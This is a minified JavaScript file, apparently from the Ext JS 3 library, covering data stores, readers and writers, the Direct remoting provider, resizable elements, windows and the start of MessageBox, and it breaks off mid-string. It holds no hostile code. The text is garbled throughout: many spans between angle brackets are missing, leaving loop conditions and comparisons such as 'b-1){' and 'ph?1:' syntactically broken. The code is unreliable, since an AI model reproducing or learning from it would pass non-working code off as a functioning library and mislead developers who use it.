isNaN(b)?0:b}};Ext.data.Record=function(a,b){this.id=(b||b===0)?b:Ext.data.Record.id(this);this.data=a||{}};Ext.data.Record.create=function(e){var c=Ext.extend(Ext.data.Record,{});var d=c.prototype;d.fields=new Ext.util.MixedCollection(false,function(g){return g.name});for(var b=0,a=e.length;b-1){a.join(null);this.data.removeAt(b)}if(this.pruneModifiedRecords){this.modified.remove(a)}if(this.snapshot){this.snapshot.remove(a)}if(b>-1){this.fireEvent("remove",this,a,b)}},removeAt:function(a){this.remove(this.getAt(a))},removeAll:function(b){var a=[];this.each(function(c){a.push(c)});this.clearData();if(this.snapshot){this.snapshot.clear()}if(this.pruneModifiedRecords){this.modified=[]}if(b!==true){this.fireEvent("clear",this,a)}},onClear:function(b,a){Ext.each(a,function(d,c){this.destroyRecord(this,d,c)},this)},insert:function(d,c){var e,a,b;c=[].concat(c);for(e=0,a=c.length;e=0;d--){if(b[d].phantom===true){var a=b.splice(d,1).shift();if(a.isValid()){g.push(a)}}else{if(!b[d].isValid()){b.splice(d,1)}}}if(g.length){h.push(["create",g])}if(b.length){h.push(["update",b])}}k=h.length;if(k){e=++this.batchCounter;for(d=0;d=0;b--){this.modified.splice(this.modified.indexOf(a[b]),1)}}else{this.modified.splice(this.modified.indexOf(a),1)}},reMap:function(b){if(Ext.isArray(b)){for(var d=0,a=b.length;d=0;c--){this.insert(b[c].lastIndex,b[c])}}},handleException:function(a){Ext.handleError(a)},reload:function(a){this.load(Ext.applyIf(a||{},this.lastOptions))},loadRecords:function(b,m,h){var e,g;if(this.isDestroyed===true){return}if(!b||h===false){if(h!==false){this.fireEvent("load",this,[],m)}if(m.callback){m.callback.call(m.scope||this,[],m,false,b)}return}var a=b.records,k=b.totalRecords||a.length;if(!m||m.add!==true){if(this.pruneModifiedRecords){this.modified=[]}for(e=0,g=a.length;e-1){this.doUpdate(d)}else{l.push(d);++c}}this.totalLength=Math.max(k,this.data.length+c);this.add(l)}this.fireEvent("load",this,a,m);if(m.callback){m.callback.call(m.scope||this,a,m,true)}},loadData:function(c,a){var b=this.reader.readRecords(c);this.loadRecords(b,{add:a},true)},getCount:function(){return this.data.length||0},getTotalCount:function(){return this.totalLength||0},getSortState:function(){return this.sortInfo},applySort:function(){if((this.sortInfo||this.multiSortInfo)&&!this.remoteSort){this.sortData()}},sortData:function(){var a=this.hasMultiSort?this.multiSortInfo:this.sortInfo,k=a.direction||"ASC",h=a.sorters,c=[];if(!this.hasMultiSort){h=[{direction:k,field:a.field}]}for(var d=0,b=h.length;d1){for(var p=1,o=c.length;ph?1:(i=0;b--){if(Ext.isArray(c)){this.realize(a.splice(b,1).shift(),c.splice(b,1).shift())}else{this.realize(a.splice(b,1).shift(),c)}}}else{if(Ext.isArray(c)&&c.length==1){c=c.shift()}if(!this.isData(c)){throw new Ext.data.DataReader.Error("realize",a)}a.phantom=false;a._phid=a.id;a.id=this.getId(c);a.data=c;a.commit()}},update:function(a,c){if(Ext.isArray(a)){for(var b=a.length-1;b>=0;b--){if(Ext.isArray(c)){this.update(a.splice(b,1).shift(),c.splice(b,1).shift())}else{this.update(a.splice(b,1).shift(),c)}}}else{if(Ext.isArray(c)&&c.length==1){c=c.shift()}if(this.isData(c)){a.data=Ext.apply(a.data,c)}a.commit()}},extractData:function(l,a){var k=(this instanceof Ext.data.JsonReader)?"json":"node";var c=[];if(this.isData(l)&&!(this instanceof Ext.data.XmlReader)){l=[l]}var h=this.recordType.prototype.fields,p=h.items,o=h.length,c=[];if(a===true){var m=this.recordType;for(var e=0;e=0){return new Function("obj","return obj"+(b>0?".":"")+c)}return function(d){return d[c]}}}(),extractValues:function(h,d,a){var g,c={};for(var e=0;e<\u003fxml version="{version}" encoding="{encoding}"\u003f><{documentRoot}><{name}>{value}<{root}><{parent.record}><{name}>{value}',render:function(b,c,a){c=this.toArray(c);b.xmlData=this.tpl.applyTemplate({version:this.xmlVersion,encoding:this.xmlEncoding,documentRoot:(c.length>0||this.forceDocumentRoot===true)?this.documentRoot:false,record:this.meta.record,root:this.root,baseParams:c,records:(Ext.isArray(a[0]))?a:[a]})},createRecord:function(a){return this.toArray(this.toHash(a))},updateRecord:function(a){return this.toArray(this.toHash(a))},destroyRecord:function(b){var a={};a[this.meta.idProperty]=b.id;return this.toArray(a)}});Ext.data.XmlReader=function(a,b){a=a||{};Ext.applyIf(a,{idProperty:a.idProperty||a.idPath||a.id,successProperty:a.successProperty||a.success});Ext.data.XmlReader.superclass.constructor.call(this,a,b||a.fields)};Ext.extend(Ext.data.XmlReader,Ext.data.DataReader,{read:function(a){var b=a.responseXML;if(!b){throw {message:"XmlReader.read: XML Document not available"}}return this.readRecords(b)},readRecords:function(d){this.xmlData=d;var a=d.documentElement||d,c=Ext.DomQuery,g=0,e=true;if(this.meta.totalProperty){g=this.getTotal(a,0)}if(this.meta.successProperty){e=this.getSuccess(a)}var b=this.extractData(c.select(this.meta.record,a),true);return{success:e,records:b,totalRecords:g||b.length}},readResponse:function(g,b){var e=Ext.DomQuery,h=b.responseXML,a=h.documentElement||h;var c=new Ext.data.Response({action:g,success:this.getSuccess(a),message:this.getMessage(a),data:this.extractData(e.select(this.meta.record,a)||e.select(this.meta.root,a),false),raw:h});if(Ext.isEmpty(c.success)){throw new Ext.data.DataReader.Error("successProperty-response",this.meta.successProperty)}if(g===Ext.data.Api.actions.create){var d=Ext.isDefined(c.data);if(d&&Ext.isEmpty(c.data)){throw new Ext.data.JsonReader.Error("root-empty",this.meta.root)}else{if(!d){throw new Ext.data.JsonReader.Error("root-undefined-response",this.meta.root)}}}return c},getSuccess:function(){return true},buildExtractors:function(){if(this.ef){return}var m=this.meta,h=this.recordType,e=h.prototype.fields,l=e.items,k=e.length;if(m.totalProperty){this.getTotal=this.createAccessor(m.totalProperty)}if(m.successProperty){this.getSuccess=this.createAccessor(m.successProperty)}if(m.messageProperty){this.getMessage=this.createAccessor(m.messageProperty)}this.getRoot=function(g){return(!Ext.isEmpty(g[this.meta.record]))?g[this.meta.record]:g[this.meta.root]};if(m.idPath||m.idProperty){var d=this.createAccessor(m.idPath||m.idProperty);this.getId=function(g){var i=d(g)||g.id;return(i===undefined||i==="")?null:i}}else{this.getId=function(){return null}}var c=[];for(var b=0;b0&&c[0].field==this.groupField){c.shift()}this.groupField=e;this.groupDir=d;this.applyGroupField();var b=function(){this.fireEvent("groupchange",this,this.getGroupState())};if(this.groupOnSort){this.sort(e,d);b.call(this);return}if(this.remoteGroup){this.on("load",b,this,{single:true});this.reload()}else{this.sort(c);b.call(this)}},sort:function(h,c){if(this.remoteSort){return Ext.data.GroupingStore.superclass.sort.call(this,h,c)}var g=[];if(Ext.isArray(arguments[0])){g=arguments[0]}else{if(h==undefined){g=this.sortInfo?[this.sortInfo]:[]}else{var e=this.fields.get(h);if(!e){return false}var b=e.name,a=this.sortInfo||null,d=this.sortToggle?this.sortToggle[b]:null;if(!c){if(a&&a.field==b){c=(this.sortToggle[b]||"ASC").toggle("ASC","DESC")}else{c=e.sortDir}}this.sortToggle[b]=c;this.sortInfo={field:b,direction:c};g=[this.sortInfo]}}if(this.groupField){g.unshift({direction:this.groupDir,field:this.groupField})}return this.multiSort.call(this,g,c)},applyGroupField:function(){if(this.remoteGroup){if(!this.baseParams){this.baseParams={}}Ext.apply(this.baseParams,{groupBy:this.groupField,groupDir:this.groupDir});var a=this.lastOptions;if(a&&a.params){a.params.groupDir=this.groupDir;delete a.params.groupBy}}},applyGrouping:function(a){if(this.groupField!==false){this.groupBy(this.groupField,true,this.groupDir);return true}else{if(a===true){this.fireEvent("datachanged",this)}return false}},getGroupState:function(){return this.groupOnSort&&this.groupField!==false?(this.sortInfo?this.sortInfo.field:undefined):this.groupField}});Ext.reg("groupingstore",Ext.data.GroupingStore);Ext.data.DirectProxy=function(a){Ext.apply(this,a);if(typeof this.paramOrder=="string"){this.paramOrder=this.paramOrder.split(/[\s,|]/)}Ext.data.DirectProxy.superclass.constructor.call(this,a)};Ext.extend(Ext.data.DirectProxy,Ext.data.DataProxy,{paramOrder:undefined,paramsAsHash:true,directFn:undefined,doRequest:function(b,c,a,e,l,m,o){var k=[],h=this.api[b]||this.directFn;switch(b){case Ext.data.Api.actions.create:k.push(a.jsonData);break;case Ext.data.Api.actions.read:if(h.directCfg.method.len>0){if(this.paramOrder){for(var d=0,g=this.paramOrder.length;d1){for(var d=0,b=c.length;d0){this.doSend(a==1?this.callBuffer[0]:this.callBuffer);this.callBuffer=[]}},queueTransaction:function(a){if(a.form){this.processForm(a);return}this.callBuffer.push(a);if(this.enableBuffer){if(!this.callTask){this.callTask=new Ext.util.DelayedTask(this.combineAndSend,this)}this.callTask.delay(Ext.isNumber(this.enableBuffer)?this.enableBuffer:10)}else{this.combineAndSend()}},doCall:function(i,a,b){var h=null,e=b[a.len],g=b[a.len+1];if(a.len!==0){h=b.slice(0,a.len)}var d=new Ext.Direct.Transaction({provider:this,args:b,action:i,method:a.name,data:h,cb:g&&Ext.isFunction(e)?e.createDelegate(g):e});if(this.fireEvent("beforecall",this,d,a)!==false){Ext.Direct.addTransaction(d);this.queueTransaction(d);this.fireEvent("call",this,d,a)}},doForm:function(k,b,g,i,e){var d=new Ext.Direct.Transaction({provider:this,action:k,method:b.name,args:[g,i,e],cb:e&&Ext.isFunction(i)?i.createDelegate(e):i,isForm:true});if(this.fireEvent("beforecall",this,d,b)!==false){Ext.Direct.addTransaction(d);var a=String(g.getAttribute("enctype")).toLowerCase()=="multipart/form-data",h={extTID:d.tid,extAction:k,extMethod:b.name,extType:"rpc",extUpload:String(a)};Ext.apply(d,{form:Ext.getDom(g),isUpload:a,params:i&&Ext.isObject(i.params)?Ext.apply(h,i.params):h});this.fireEvent("call",this,d,b);this.processForm(d)}},processForm:function(a){Ext.Ajax.request({url:this.url,params:a.params,callback:this.onData,scope:this,form:a.form,isUpload:a.isUpload,ts:a})},createMethod:function(d,a){var b;if(!a.formHandler){b=function(){this.doCall(d,a,Array.prototype.slice.call(arguments,0))}.createDelegate(this)}else{b=function(e,g,c){this.doForm(d,a,e,g,c)}.createDelegate(this)}b.directCfg={action:d,method:a};return b},getTransaction:function(a){return a&&a.tid?Ext.Direct.getTransaction(a.tid):null},doCallback:function(c,g){var d=g.status?"success":"failure";if(c&&c.cb){var b=c.cb,a=Ext.isDefined(g.result)?g.result:g.data;if(Ext.isFunction(b)){b(a,g)}else{Ext.callback(b[d],b.scope,[a,g]);Ext.callback(b.callback,b.scope,[a,g])}}}});Ext.Direct.PROVIDERS.remoting=Ext.direct.RemotingProvider;Ext.Resizable=Ext.extend(Ext.util.Observable,{constructor:function(d,e){this.el=Ext.get(d);if(e&&e.wrap){e.resizeChild=this.el;this.el=this.el.wrap(typeof e.wrap=="object"?e.wrap:{cls:"xresizable-wrap"});this.el.id=this.el.dom.id=e.resizeChild.id+"-rzwrap";this.el.setStyle("overflow","hidden");this.el.setPositioning(e.resizeChild.getPositioning());e.resizeChild.clearPositioning();if(!e.width||!e.height){var g=e.resizeChild.getSize();this.el.setSize(g.width,g.height)}if(e.pinned&&!e.adjustments){e.adjustments="auto"}}this.proxy=this.el.createProxy({tag:"div",cls:"x-resizable-proxy",id:this.el.id+"-rzproxy"},Ext.getBody());this.proxy.unselectable();this.proxy.enableDisplayMode("block");Ext.apply(this,e);if(this.pinned){this.disableTrackOver=true;this.el.addClass("x-resizable-pinned")}var l=this.el.getStyle("position");if(l!="absolute"&&l!="fixed"){this.el.setStyle("position","relative")}if(!this.handles){this.handles="s,e,se";if(this.multiDirectional){this.handles+=",n,w"}}if(this.handles=="all"){this.handles="n s e w ne nw se sw"}var p=this.handles.split(/\s*?[,;]\s*?| /);var c=Ext.Resizable.positions;for(var k=0,m=p.length;k0){if(a>(e/2)){d=c+(e-a)}else{d=c-a}}return Math.max(b,d)},resizeElement:function(){var a=this.proxy.getBox();if(this.updateBox){this.el.setBox(a,false,this.animate,this.duration,null,this.easing)}else{this.el.setSize(a.width,a.height,this.animate,this.duration,null,this.easing)}this.updateChildSize();if(!this.dynamic){this.proxy.hide()}if(this.draggable&&this.constrainTo){this.dd.resetConstraints();this.dd.constrainTo(this.constrainTo)}return a},constrain:function(b,c,a,d){if(b-cd){c=b-d}}return c},onMouseMove:function(A){if(this.enabled&&this.activeHandle){try{if(this.resizeRegion&&!this.resizeRegion.contains(A.getPoint())){return}var u=this.curSize||this.startBox,m=this.startBox.x,l=this.startBox.y,c=m,b=l,n=u.width,v=u.height,d=n,p=v,o=this.minWidth,B=this.minHeight,t=this.maxWidth,E=this.maxHeight,i=this.widthIncrement,a=this.heightIncrement,C=A.getXY(),s=-(this.startPoint[0]-Math.max(this.minX,C[0])),q=-(this.startPoint[1]-Math.max(this.minY,C[1])),k=this.activeHandle.position,F,g;switch(k){case"east":n+=s;n=Math.min(Math.max(o,n),t);break;case"south":v+=q;v=Math.min(Math.max(B,v),E);break;case"southeast":n+=s;v+=q;n=Math.min(Math.max(o,n),t);v=Math.min(Math.max(B,v),E);break;case"north":q=this.constrain(v,q,B,E);l+=q;v-=q;break;case"west":s=this.constrain(n,s,o,t);m+=s;n-=s;break;case"northeast":n+=s;n=Math.min(Math.max(o,n),t);q=this.constrain(v,q,B,E);l+=q;v-=q;break;case"northwest":s=this.constrain(n,s,o,t);q=this.constrain(v,q,B,E);l+=q;v-=q;m+=s;n-=s;break;case"southwest":s=this.constrain(n,s,o,t);v+=q;v=Math.min(Math.max(B,v),E);m+=s;n-=s;break}var r=this.snap(n,i,o);var D=this.snap(v,a,B);if(r!=n||D!=v){switch(k){case"northeast":l-=D-v;break;case"north":l-=D-v;break;case"southwest":m-=r-n;break;case"west":m-=r-n;break;case"northwest":m-=r-n;l-=D-v;break}n=r;v=D}if(this.preserveRatio){switch(k){case"southeast":case"east":v=p*(n/d);v=Math.min(Math.max(B,v),E);n=d*(v/p);break;case"south":n=d*(v/p);n=Math.min(Math.max(o,n),t);v=p*(n/d);break;case"northeast":n=d*(v/p);n=Math.min(Math.max(o,n),t);v=p*(n/d);break;case"north":F=n;n=d*(v/p);n=Math.min(Math.max(o,n),t);v=p*(n/d);m+=(F-n)/2;break;case"southwest":v=p*(n/d);v=Math.min(Math.max(B,v),E);F=n;n=d*(v/p);m+=F-n;break;case"west":g=v;v=p*(n/d);v=Math.min(Math.max(B,v),E);l+=(g-v)/2;F=n;n=d*(v/p);m+=F-n;break;case"northwest":F=n;g=v;v=p*(n/d);v=Math.min(Math.max(B,v),E);n=d*(v/p);l+=g-v;m+=F-n;break}}this.proxy.setBounds(m,l,n,v);if(this.dynamic){this.resizeElement()}}catch(z){}}},handleOver:function(){if(this.enabled){this.el.addClass("x-resizable-over")}},handleOut:function(){if(!this.resizing){this.el.removeClass("x-resizable-over")}},getEl:function(){return this.el},getResizeChild:function(){return this.resizeChild},destroy:function(b){Ext.destroy(this.dd,this.overlay,this.proxy);this.overlay=null;this.proxy=null;var c=Ext.Resizable.positions;for(var a in c){if(typeof c[a]!="function"&&this[c[a]]){this[c[a]].destroy()}}if(b){this.el.update("");Ext.destroy(this.el);this.el=null}this.purgeListeners()},syncHandleHeight:function(){var a=this.el.getHeight(true);if(this.west){this.west.el.setHeight(a)}if(this.east){this.east.el.setHeight(a)}}});Ext.Resizable.positions={n:"north",s:"south",e:"east",w:"west",se:"southeast",sw:"southwest",nw:"northwest",ne:"northeast"};Ext.Resizable.Handle=Ext.extend(Object,{constructor:function(d,g,c,e,a){if(!this.tpl){var b=Ext.DomHelper.createTemplate({tag:"div",cls:"x-resizable-handle x-resizable-handle-{0}"});b.compile();Ext.Resizable.Handle.prototype.tpl=b}this.position=g;this.rz=d;this.el=this.tpl.append(d.el.dom,[this.position],true);this.el.unselectable();if(e){this.el.setOpacity(0)}if(!Ext.isEmpty(a)){this.el.addClass(a)}this.el.on("mousedown",this.onMouseDown,this);if(!c){this.el.on({scope:this,mouseover:this.onMouseOver,mouseout:this.onMouseOut})}},afterResize:function(a){},onMouseDown:function(a){this.rz.onMouseDown(this,a)},onMouseOver:function(a){this.rz.handleOver(this,a)},onMouseOut:function(a){this.rz.handleOut(this,a)},destroy:function(){Ext.destroy(this.el);this.el=null}});Ext.Window=Ext.extend(Ext.Panel,{baseCls:"x-window",resizable:true,draggable:true,closable:true,closeAction:"close",constrain:false,constrainHeader:false,plain:false,minimizable:false,maximizable:false,minHeight:100,minWidth:200,expandOnShow:true,showAnimDuration:0.25,hideAnimDuration:0.25,collapsible:false,initHidden:undefined,hidden:true,elements:"header,body",frame:true,floating:true,initComponent:function(){this.initTools();Ext.Window.superclass.initComponent.call(this);this.addEvents("resize","maximize","minimize","restore");if(Ext.isDefined(this.initHidden)){this.hidden=this.initHidden}if(this.hidden===false){this.hidden=true;this.show()}},getState:function(){return Ext.apply(Ext.Window.superclass.getState.call(this)||{},this.getBox(true))},onRender:function(b,a){Ext.Window.superclass.onRender.call(this,b,a);if(this.plain){this.el.addClass("x-window-plain")}this.focusEl=this.el.createChild({tag:"a",href:"#",cls:"x-dlg-focus",tabIndex:"-1",html:" "});this.focusEl.swallowEvent("click",true);this.proxy=this.el.createProxy("x-window-proxy");this.proxy.enableDisplayMode("block");if(this.modal){this.mask=this.container.createChild({cls:"ext-el-mask"},this.el.dom);this.mask.enableDisplayMode("block");this.mask.hide();this.mon(this.mask,"click",this.focus,this)}if(this.maximizable){this.mon(this.header,"dblclick",this.toggleMaximize,this)}},initEvents:function(){Ext.Window.superclass.initEvents.call(this);if(this.animateTarget){this.setAnimateTarget(this.animateTarget)}if(this.resizable){this.resizer=new Ext.Resizable(this.el,{minWidth:this.minWidth,minHeight:this.minHeight,handles:this.resizeHandles||"all",pinned:true,resizeElement:this.resizerAction,handleCls:"x-window-handle"});this.resizer.window=this;this.mon(this.resizer,"beforeresize",this.beforeResize,this)}if(this.draggable){this.header.addClass("x-window-draggable")}this.mon(this.el,"mousedown",this.toFront,this);this.manager=this.manager||Ext.WindowMgr;this.manager.register(this);if(this.maximized){this.maximized=false;this.maximize()}if(this.closable){var a=this.getKeyMap();a.on(27,this.onEsc,this);a.disable()}},initDraggable:function(){this.dd=new Ext.Window.DD(this)},onEsc:function(a,b){b.stopEvent();this[this.closeAction]()},beforeDestroy:function(){if(this.rendered){this.hide();this.clearAnchor();Ext.destroy(this.focusEl,this.resizer,this.dd,this.proxy,this.mask)}Ext.Window.superclass.beforeDestroy.call(this)},onDestroy:function(){if(this.manager){this.manager.unregister(this)}Ext.Window.superclass.onDestroy.call(this)},initTools:function(){if(this.minimizable){this.addTool({id:"minimize",handler:this.minimize.createDelegate(this,[])})}if(this.maximizable){this.addTool({id:"maximize",handler:this.maximize.createDelegate(this,[])});this.addTool({id:"restore",handler:this.restore.createDelegate(this,[]),hidden:true})}if(this.closable){this.addTool({id:"close",handler:this[this.closeAction].createDelegate(this,[])})}},resizerAction:function(){var a=this.proxy.getBox();this.proxy.hide();this.window.handleResize(a);return a},beforeResize:function(){this.resizer.minHeight=Math.max(this.minHeight,this.getFrameHeight()+40);this.resizer.minWidth=Math.max(this.minWidth,this.getFrameWidth()+40);this.resizeBox=this.el.getBox()},updateHandles:function(){if(Ext.isIE&&this.resizer){this.resizer.syncHandleHeight();this.el.repaint()}},handleResize:function(b){var a=this.resizeBox;if(a.x!=b.x||a.y!=b.y){this.updateBox(b)}else{this.setSize(b);if(Ext.isIE6&&Ext.isStrict){this.doLayout()}}this.focus();this.updateHandles();this.saveState()},focus:function(){var e=this.focusEl,a=this.defaultButton,c=typeof a,d,b;if(Ext.isDefined(a)){if(Ext.isNumber(a)&&this.fbar){e=this.fbar.items.get(a)}else{if(Ext.isString(a)){e=Ext.getCmp(a)}else{e=a}}d=e.getEl();b=Ext.getDom(this.container);if(d&&b){if(b!=document.body&&!Ext.lib.Region.getRegion(b).contains(Ext.lib.Region.getRegion(d.dom))){return}}}e=e||this.focusEl;e.focus.defer(10,e)},setAnimateTarget:function(a){a=Ext.get(a);this.animateTarget=a},beforeShow:function(){delete this.el.lastXY;delete this.el.lastLT;if(this.x===undefined||this.y===undefined){var a=this.el.getAlignToXY(this.container,"c-c");var b=this.el.translatePoints(a[0],a[1]);this.x=this.x===undefined?b.left:this.x;this.y=this.y===undefined?b.top:this.y}this.el.setLeftTop(this.x,this.y);if(this.expandOnShow){this.expand(false)}if(this.modal){Ext.getBody().addClass("x-body-masked");this.mask.setSize(Ext.lib.Dom.getViewWidth(true),Ext.lib.Dom.getViewHeight(true));this.mask.show()}},show:function(c,a,b){if(!this.rendered){this.render(Ext.getBody())}if(this.hidden===false){this.toFront();return this}if(this.fireEvent("beforeshow",this)===false){return this}if(a){this.on("show",a,b,{single:true})}this.hidden=false;if(Ext.isDefined(c)){this.setAnimateTarget(c)}this.beforeShow();if(this.animateTarget){this.animShow()}else{this.afterShow()}return this},afterShow:function(b){if(this.isDestroyed){return false}this.proxy.hide();this.el.setStyle("display","block");this.el.show();if(this.maximized){this.fitContainer()}if(Ext.isMac&&Ext.isGecko2){this.cascade(this.setAutoScroll)}if(this.monitorResize||this.modal||this.constrain||this.constrainHeader){Ext.EventManager.onWindowResize(this.onWindowResize,this)}this.doConstrain();this.doLayout();if(this.keyMap){this.keyMap.enable()}this.toFront();this.updateHandles();if(b&&(Ext.isIE||Ext.isWebKit)){var a=this.getSize();this.onResize(a.width,a.height)}this.onShow();this.fireEvent("show",this)},animShow:function(){this.proxy.show();this.proxy.setBox(this.animateTarget.getBox());this.proxy.setOpacity(0);var a=this.getBox();this.el.setStyle("display","none");this.proxy.shift(Ext.apply(a,{callback:this.afterShow.createDelegate(this,[true],false),scope:this,easing:"easeNone",duration:this.showAnimDuration,opacity:0.5}))},hide:function(c,a,b){if(this.hidden||this.fireEvent("beforehide",this)===false){return this}if(a){this.on("hide",a,b,{single:true})}this.hidden=true;if(c!==undefined){this.setAnimateTarget(c)}if(this.modal){this.mask.hide();Ext.getBody().removeClass("x-body-masked")}if(this.animateTarget){this.animHide()}else{this.el.hide();this.afterHide()}return this},afterHide:function(){this.proxy.hide();if(this.monitorResize||this.modal||this.constrain||this.constrainHeader){Ext.EventManager.removeResizeListener(this.onWindowResize,this)}if(this.keyMap){this.keyMap.disable()}this.onHide();this.fireEvent("hide",this)},animHide:function(){this.proxy.setOpacity(0.5);this.proxy.show();var a=this.getBox(false);this.proxy.setBox(a);this.el.hide();this.proxy.shift(Ext.apply(this.animateTarget.getBox(),{callback:this.afterHide,scope:this,duration:this.hideAnimDuration,easing:"easeNone",opacity:0}))},onShow:Ext.emptyFn,onHide:Ext.emptyFn,onWindowResize:function(){if(this.maximized){this.fitContainer()}if(this.modal){this.mask.setSize("100%","100%");var a=this.mask.dom.offsetHeight;this.mask.setSize(Ext.lib.Dom.getViewWidth(true),Ext.lib.Dom.getViewHeight(true))}this.doConstrain()},doConstrain:function(){if(this.constrain||this.constrainHeader){var b;if(this.constrain){b={right:this.el.shadowOffset,left:this.el.shadowOffset,bottom:this.el.shadowOffset}}else{var a=this.getSize();b={right:-(a.width-100),bottom:-(a.height-25)}}var c=this.el.getConstrainToXY(this.container,true,b);if(c){this.setPosition(c[0],c[1])}}},ghost:function(a){var c=this.createGhost(a);var b=this.getBox(true);c.setLeftTop(b.x,b.y);c.setWidth(b.width);this.el.hide();this.activeGhost=c;return c},unghost:function(b,a){if(!this.activeGhost){return}if(b!==false){this.el.show();this.focus.defer(10,this);if(Ext.isMac&&Ext.isGecko2){this.cascade(this.setAutoScroll)}}if(a!==false){this.setPosition(this.activeGhost.getLeft(true),this.activeGhost.getTop(true))}this.activeGhost.hide();this.activeGhost.remove();delete this.activeGhost},minimize:function(){this.fireEvent("minimize",this);return this},close:function(){if(this.fireEvent("beforeclose",this)!==false){if(this.hidden){this.doClose()}else{this.hide(null,this.doClose,this)}}},doClose:function(){this.fireEvent("close",this);this.destroy()},maximize:function(){if(!this.maximized){this.expand(false);this.restoreSize=this.getSize();this.restorePos=this.getPosition(true);if(this.maximizable){this.tools.maximize.hide();this.tools.restore.show()}this.maximized=true;this.el.disableShadow();if(this.dd){this.dd.lock()}if(this.collapsible){this.tools.toggle.hide()}this.el.addClass("x-window-maximized");this.container.addClass("x-window-maximized-ct");this.setPosition(0,0);this.fitContainer();this.fireEvent("maximize",this)}return this},restore:function(){if(this.maximized){var a=this.tools;this.el.removeClass("x-window-maximized");if(a.restore){a.restore.hide()}if(a.maximize){a.maximize.show()}this.setPosition(this.restorePos[0],this.restorePos[1]);this.setSize(this.restoreSize.width,this.restoreSize.height);delete this.restorePos;delete this.restoreSize;this.maximized=false;this.el.enableShadow(true);if(this.dd){this.dd.unlock()}if(this.collapsible&&a.toggle){a.toggle.show()}this.container.removeClass("x-window-maximized-ct");this.doConstrain();this.fireEvent("restore",this)}return this},toggleMaximize:function(){return this[this.maximized?"restore":"maximize"]()},fitContainer:function(){var a=this.container.getViewSize(false);this.setSize(a.width,a.height)},setZIndex:function(a){if(this.modal){this.mask.setStyle("z-index",a)}this.el.setZIndex(++a);a+=5;if(this.resizer){this.resizer.proxy.setStyle("z-index",++a)}this.lastZIndex=a},alignTo:function(b,a,c){var d=this.el.getAlignToXY(b,a,c);this.setPagePosition(d[0],d[1]);return this},anchorTo:function(c,e,d,b){this.clearAnchor();this.anchorTarget={el:c,alignment:e,offsets:d};Ext.EventManager.onWindowResize(this.doAnchor,this);var a=typeof b;if(a!="undefined"){Ext.EventManager.on(window,"scroll",this.doAnchor,this,{buffer:a=="number"?b:50})}return this.doAnchor()},doAnchor:function(){var a=this.anchorTarget;this.alignTo(a.el,a.alignment,a.offsets);return this},clearAnchor:function(){if(this.anchorTarget){Ext.EventManager.removeResizeListener(this.doAnchor,this);Ext.EventManager.un(window,"scroll",this.doAnchor,this);delete this.anchorTarget}return this},toFront:function(a){if(this.manager.bringToFront(this)){if(!a||!a.getTarget().focus){this.focus()}}return this},setActive:function(a){if(a){if(!this.maximized){this.el.enableShadow(true)}this.fireEvent("activate",this)}else{this.el.disableShadow();this.fireEvent("deactivate",this)}},toBack:function(){this.manager.sendToBack(this);return this},center:function(){var a=this.el.getAlignToXY(this.container,"c-c");this.setPagePosition(a[0],a[1]);return this}});Ext.reg("window",Ext.Window);Ext.Window.DD=Ext.extend(Ext.dd.DD,{constructor:function(a){this.win=a;Ext.Window.DD.superclass.constructor.call(this,a.el.id,"WindowDD-"+a.id);this.setHandleElId(a.header.id);this.scroll=false},moveOnly:true,headerOffsets:[100,25],startDrag:function(){var a=this.win;this.proxy=a.ghost(a.initialConfig.cls);if(a.constrain!==false){var c=a.el.shadowOffset;this.constrainTo(a.container,{right:c,left:c,bottom:c})}else{if(a.constrainHeader!==false){var b=this.proxy.getSize();this.constrainTo(a.container,{right:-(b.width-this.headerOffsets[0]),bottom:-(b.height-this.headerOffsets[1])})}}},b4Drag:Ext.emptyFn,onDrag:function(a){this.alignElWithMouse(this.proxy,a.getPageX(),a.getPageY())},endDrag:function(a){this.win.unghost();this.win.saveState()}});Ext.WindowGroup=function(){var g={};var d=[];var e=null;var c=function(k,i){return(!k._lastAccess||k._lastAccess0){m.sort(c);var l=m[0].manager.zseed;for(var n=0;n=0;--k){if(!d[k].hidden){b(d[k]);return}}b(null)};return{zseed:9000,register:function(i){if(i.manager){i.manager.unregister(i)}i.manager=this;g[i.id]=i;d.push(i);i.on("hide",a)},unregister:function(i){delete i.manager;delete g[i.id];i.un("hide",a);d.remove(i)},get:function(i){return typeof i=="object"?i:g[i]},bringToFront:function(i){i=this.get(i);if(i!=e){i._lastAccess=new Date().getTime();h();return true}return false},sendToBack:function(i){i=this.get(i);i._lastAccess=-(new Date().getTime());h();return i},hideAll:function(){for(var i in g){if(g[i]&&typeof g[i]!="function"&&g[i].isVisible()){g[i].hide()}}},getActive:function(){return e},getBy:function(m,l){var n=[];for(var k=d.length-1;k>=0;--k){var o=d[k];if(m.call(l||o,o)!==false){n.push(o)}}return n},each:function(k,i){for(var l in g){if(g[l]&&typeof g[l]!="function"){if(k.call(i||g[l],g[l])===false){return}}}}}};Ext.WindowMgr=new Ext.WindowGroup();Ext.MessageBox=function(){var v,b,r,u,h,m,t,a,o,q,k,g,s,w,p,i="",d="",n=["ok","yes","no","cancel"];var c=function(y){s[y].blur();if(v.isVisible()){v.hide();x();Ext.callback(b.fn,b.scope||window,[y,w.dom.value,b],1)}};var x=function(){if(b&&b.cls){v.el.removeClass(b.cls)}o.reset()};var e=function(A,y,z){if(b&&b.closable!==false){v.hide();x()}if(z){z.stopEvent()}};var l=function(y){var A=0,z;if(!y){Ext.each(n,function(B){s[B].hide()});return A}v.footer.dom.style.display="";Ext.iterate(s,function(B,C){z=y[B];if(z){C.show();C.setText(Ext.isString(z)?z:Ext.MessageBox.buttonText[B]);A+=C.getEl().getWidth()+15}else{C.hide()}});return A};return{getDialog:function(y){if(!v){var A=[];s={};Ext.each(n,function(B){A.push(s[B]=new Ext.Button({text:this.buttonText[B],handler:c.createCallback(B),hideMode:"offsets"}))},this);v=new Ext.Window({autoCreate:true,title:y,resizable:false,constrain:true,constrainHeader:true,minimizable:false,maximizable:false,stateful:false,modal:true,shim:true,buttonAlign:"center",width:400,height:100,minHeight:80,plain:true,footer:true,closable:true,close:function(){if(b&&b.buttons&&b.buttons.no&&!b.buttons.cancel){c("no")}else{c("cancel")}},fbar:new Ext.Toolbar({items:A,enableOverflow:false})});v.render(document.body);v.getEl().addClass("x-window-dlg");r=v.mask;h=v.body.createChild({html:'

